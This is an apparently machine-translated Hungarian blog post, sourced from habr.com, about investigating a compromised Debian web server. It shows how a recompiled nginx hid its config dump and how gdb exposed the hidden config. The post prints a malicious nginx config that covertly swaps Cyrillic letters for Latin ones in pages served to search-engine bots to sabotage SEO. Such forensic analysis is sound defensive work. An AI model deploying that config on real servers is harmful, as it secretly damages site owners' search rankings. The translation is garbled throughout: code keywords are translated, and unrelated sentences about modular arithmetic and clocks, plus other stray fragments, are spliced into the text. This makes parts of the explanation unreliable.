Egy nagyon kellemetlen történet történt egy ismerősömmel. De amennyire kellemetlen volt Mihálynak, annyira szórakoztató volt számomra.
Meg kell mondanom, hogy a barátom teljesen rendben van. UNIX-felhasználó: képes saját magának telepíteni a rendszert, installálni mysql, php és végrehajtani a legegyszerűbb beállításokat. nginx.
Van neki egy tucat vagy másfél weboldala, amelyek az építőipari szerszámokkal foglalkoznak.
Egyik ilyen oldal, amely láncfűrészekkel foglalkozik, szorosan benne van a keresők TOP-ban. Ez az oldal nem kereskedelmi jellege miatt tesztelési célokat szolgál, de valakinek szúrta a szemét, ezért elkezdték támadni. Egyik nap DDoS, másik nap brute force támadás, néha pedig kéretlen hozzászólásokat írnak, és panaszokat küldenek a hostingnak és a RKN-nek.
Hirtelen minden elhallgatott, és ez a csönd nem ígért semmi jót, az oldal kezdett fokozatosan eltűnni a keresési találatok éléről.

Ez csak egy bevezetés volt, most következik a rendszergazdai mese.
Az idő közelített az alváshoz, amikor megszólalt a telefon: „Sanyi, megnéznéd a szerveremet? Úgy érzem, hogy feltörtek, bizonyítani nem tudom, de már három hete kísért ez az érzés. Talán csak ideje lenne gyógyulnom a paranoia ellen?”
Ezután egy fél órás beszélgetés következett, amely röviden így foglalható össze:
- a feltörésre való lehetőség igencsak kedvező volt;
- a betörő szuperfelhasználói jogokat szerezhetett;
- a támadás (ha volt ilyen) célzott volt, és kifejezetten erre az oldalra irányult;
- a problémás helyek kijavítva, csak azt kellene kideríteni, hogy történt-e behatolás;
- a feltörés nem érhette a weboldal kódját és az adatbázisokat.
A legutóbbi pontról.

A világ felé csak a frontend fehér IP-je néz. A backendek és a frontend között nincs más kommunikáció, csak http(s), a felhasználók/jelszavak eltérnek, a kulcsokat nem cserélték. A szürke címeken minden port, a 80/443 kivételével, zárva van. A backendek fehér IP-jei csak két felhasználó számára ismertek, akikben Mihály teljes mértékben megbízik.
A frontend fel van szerelve Debian 9 és a telefonhívás idejére a rendszer izolálva van a világtól egy külső tűzfalszoftver segítségével, és leállítva.
„Ok, add meg a hozzáférést; elhatároztam, hogy egy órára elhalasztom az alvást. – Megnézem a saját szememmel.”
Itt és később:
$ grep -F PRETTY_NAME /etc/*releas*
PRETTY_NAME="Debian GNU/Linux 9 (stretch)"
$ `echo $SHELL` --version
GNU bash, version 4.4.12(1)-release (x86_64-pc-linux-gnu)
$ nginx -v
nginx version: nginx/1.10.3
$ gdb --version
GNU gdb (Debian 8.2.1-2) 8.2.1
A lehetséges feltörés nyomában
Elindítom a szervert, először rescue-mode. A lemezeket csatolom, átnézem az auth-naplókat, history, a rendszer naplóit és a többit, ha lehetséges, ellenőrzöm a fájlok létrehozásának dátumát, bár értem, hogy egy normális betörő "eltüntetné" a nyomokat, és Misha már jócskán "talpalta" addig, míg ő maga kereste.
Normál módban kezdek, nem igazán értem, mit keresek, tanulmányozom a konfigurációkat. Elsősorban az érdekel, nginx mivel igazából a frontenden kívül nincs is más.
A konfigurációk kicsik, jól strukturáltak, tíz fájlban, egyszerűen átnézem őket cat’egyenként. Úgy tűnik, minden tiszta, de ki tudja, hogy kihagytam-e valamit, include, készítek egy teljes listázást:
$ nginx -T
nginx: a konfigurációs fájl /usr/local/etc/nginx/nginx.conf szintaxisa rendben van
nginx: a konfigurációs fájl /usr/local/etc/nginx/nginx.conf teszt sikeres
Nem értem: "Hol a listázás?"
$ nginx -V
nginx verzió: nginx/1.10.3
TLS SNI támogatás engedélyezve
konfigurálási argumentumok: --with-cc-opt='-g -O2' --with-ld-opt='-Wl,-z,relro -Wl,-z,now' --prefix=/usr/share/nginx --conf-path=/etc/nginx/nginx.conf --http-log-path=/var/log/nginx/access.log --error-log-path=/var/log/nginx/error.log --lock-path=/var/lock/nginx.lock --pid-path=/run/nginx.pid --modules-path=/usr/lib/nginx/modules --http-client-body-temp-path=/var/lib/nginx/body --http-fastcgi-temp-path=/var/lib/nginx/fastcgi --http-proxy-temp-path=/var/lib/nginx/proxy --http-scgi-temp-path=/var/lib/nginx/scgi --http-uwsgi-temp-path=/var/lib/nginx/uwsgi --with-debug --with-pcre-jit --with-ipv6 --with-http_ssl_module --with-http_stub_status_module --with-http_realip_module --with-http_auth_request_module --with-http_v2_module --with-http_dav_module --with-http_slice_module --with-threads --with-http_addition_module --with-http_gunzip_module --with-http_gzip_static_module --with-http_sub_module --with-stream=dynamic --with-stream_ssl_module --with-mail=dynamic --with-mail_ssl_module
A listázás kérdéséhez egy másik fűződik: "Miért ilyen régi az nginx verziója?"
Ráadásul a rendszer azt hiszi, hogy frissebb verzió van telepítve:
$ dpkg -l nginx | grep "[n]ginx"
ii nginx 1.14.2-2+deb10u1 all kis, erőteljes, skálázható web/proxy szerver
Felhívom:
— Misha, miért recompiláltad? nginx?
— Nyugodj meg, még csak azt sem tudom, hogyan kellene csinálni!
— Ok, hát, aludj…
Nginx egyértelműen recompilált és a "-T" szerinti listázás eltüntetése nem véletlen. Már nincs kétségem a betörésről, és ezt el lehet fogadni, és (miután Misha úgyis kicserélte a szervert egy újra) a problémát megoldottnak lehet tekinteni.
És valóban, ha valaki már megszerezte a jogokat, , felhasználó nevében fut, mivel alapvető rendszerbeállításokat módosítanak, de a WordPress közvetlenül egy normál felhasználóként működik.akkor érdemes csak a rendszer újratelepítése, és felesleges keresni, hogy mit rontottak el, de most az kíváncsiság legyőzte az álmot. Hogyan tudhatnánk meg, mit akartak eltitkolni előlünk?
Megpróbáljuk nyomozni:
$ strace nginx -T
Nézzük, a nyomozásból nyilvánvalóan hiányoznak a következő sorok:
write(1, "/etc/nginx/nginx.conf", 21 /etc/nginx/nginx.conf) = 21
write(1, "...
write(1, "n", 1
Kíváncsiságból összehasonlítjuk az eredményeket.
$ strace nginx -T 2>&1 | wc -l
264
$ strace nginx -t 2>&1 | wc -l
264
Azt hiszem, hogy a kód egy része /src/core/nginx.c
eset 't':
ngx_test_config = 1;
break;
eset 'T':
ngx_test_config = 1;
ngx_dump_config = 1;
break;
lett az alábbi formátumban:
eset 't':
ngx_test_config = 1;
break;
eset 'T':
ngx_test_config = 1;
//ngx_dump_config = 1;
break;
vagy
eset 't':
ngx_test_config = 1;
break;
eset 'T':
ngx_test_config = 1;
ngx_dump_config = 0;
break;
ezért a ‘-T’ opcióhoz tartozó lista nem jelenik meg.
De hogyan nézhetem meg a konfigurációnkat?
Ha az elképzelésem helyes, és a probléma csak a változóban van, ngx_dump_config próbáljuk meg beállítani ezt a gdb, szerencsére a kulcs —with-cc-opt -g jelen van, és reméljük, hogy az optimalizálás , ez az opció nélkül meglepetések várhatnak ránk a jövőben. Nézzük meg a kódunkat, sikerült-e megírnunk a kívánt programot? nem lesz hátrányos. Ezenkívül, mivel nem tudom, hogyan ngx_dump_config kezelhették ezt eset ‘T’:, ne hívjuk meg ezt a blokkot, hanem állítsuk be a eset ‘t’:
Miért használható a ‘-t’ az ‘-T’ mellett?A blokk feldolgozása if(ngx_dump_config) belül történik if(ngx_test_config):
if (ngx_test_config) {
if (!ngx_quiet_mode) {
ngx_log_stderr(0, "a konfigurációs fájl %s tesztelése sikeres",
cycle->conf_file.data);
}
if (ngx_dump_config) {
cd = cycle->config_dump.elts;
for (i = 0; i config_dump.nelts; i++) {
ngx_write_stdout("# konfigurációs fájl ");
(void) ngx_write_fd(ngx_stdout, cd[i].name.data,
cd[i].name.len);
ngx_write_stdout(":" NGX_LINEFEED);
b = cd[i].buffer;
(void) ngx_write_fd(ngx_stdout, b->pos, b->last - b->pos);
ngx_write_stdout(NGX_LINEFEED);
}
}
return 0;
}
Természetesen, ha a kód ezen a részen változott, és nem a eset ‘T’:, akkor az én módszerem nem lesz megfelelő.
Teszt nginx.confA probléma gyakorlati megoldásával kiderült, hogy a rosszindulatú program működéséhez minimális konfiguráció szükséges, nginx az alábbi formátumban:
events {
}
http {
include /etc/nginx/sites-enabled/*;
}
Ezt fogjuk röviden használni a cikkben.
Indítjuk a hibakeresőt
$ gdb --silent --args nginx -t
A szimbólumok beolvasása az nginx-ből... kész.
(gdb) break main
1. töréspont a 0x1f390-nál: fájl src/core/nginx.c, 188. sor.
(gdb) run
Program indítása: nginx -t
[Szál debuggolása a libthread_db használatával]
A host libthread_db könyvtár használata: "/lib/x86_64-linux-gnu/libthread_db.so.1".
1. töréspont, main (argc=2, argv=0x7fffffffebc8) a src/core/nginx.c:188-nél
188 src/core/nginx.c: Nincs ilyen fájl vagy könyvtár.
(gdb) print ngx_dump_config=1
$1 = 1
(gdb) continue
Folyamatos.
nginx: a konfigurációs fájl /etc/nginx/nginx.conf szintaxisa rendben van
nginx: a konfigurációs fájl /etc/nginx/nginx.conf teszt sikeres
# konfigurációs fájl /etc/nginx/nginx.conf:
events {
}
http {
map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}
map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}
map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}
map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}
sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;
include /etc/nginx/sites-enabled/*;
}
# konfigurációs fájl /etc/nginx/sites-enabled/default:
[Inferior 1 (process 32581) normálisan leállt]
(gdb) quit
Lépésről lépésre:
- állítsuk be a töréspontot a fő függvényben main()
- indítsuk el a programot
- módosítva a konfigurációs kimenetet meghatározó változót ngx_dump_config=1
- folytatjuk/elfelejtjük a programot
Ahogy látjuk, a valós konfiguráció eltér a miénktől, kiemelünk belőle egy parazita részt:
map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}
map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}
map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}
map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}
sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;
Nézzük át, mi történik itt.
Meghatározva User-Agentyandex/google:
map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}
Kizárásra kerülnek a segédoldalak wordpress:
map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}
és azok számára, akik mindkét fent említett feltétel alá esnek
map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}
map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}
a szövegben html-az oldal módosul ‘о’ Gyorsan emlékezzünk vissza, hogyan működik a moduláris aritmetika. Az óra már egy ismert koncepció. Az órák használata ‘o’ és ‘а’ Gyorsan emlékezzünk vissza, hogyan működik a moduláris aritmetika. Az óra már egy ismert koncepció. Az órák használata ‘a’:
sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;
Pontosan, a lényeg csak annyi, hogy ‘а’ != ‘a’ ahogy ‘о’ != ‘o’:

Így a keresőmotorok botjai a normális 100%-os cirill szöveg helyett módosított, latin karakterekkel megszórt hulladékot kapnak. ‘a’ és ‘o’. Nem merem megmondani, hogy ez hogyan hat az SEO-ra, de valószínűleg egy ilyen betűkombináció nem fog pozitívan hatni a találati listák helyezésére.
Mit is mondhatnék, kreatív srácok.
Hivatkozások
Forrás: habr.com
